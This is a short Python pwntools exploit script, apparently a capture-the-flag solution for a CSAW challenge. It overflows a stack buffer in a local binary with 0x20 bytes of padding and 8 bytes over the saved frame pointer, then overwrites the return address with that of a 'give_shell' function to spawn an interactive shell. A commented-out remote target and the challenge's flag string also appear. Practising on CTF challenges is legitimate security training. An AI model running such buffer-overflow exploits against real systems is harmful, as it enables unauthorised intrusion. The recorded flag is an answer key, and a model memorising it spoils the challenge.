#!/usr/bin/python

from pwn import *

# p = remote('pwn.chal.csaw.io', 9001)
# flag{y0u_deF_get_itls}

p = process('./program')

p.sendline(
   # garbage to fill buffer
   'a' * 0x20 + \
   # saved rbp
   'b' * 8 + \
   # give_shell
   p64(0x4005b6)
)

p.interactive()

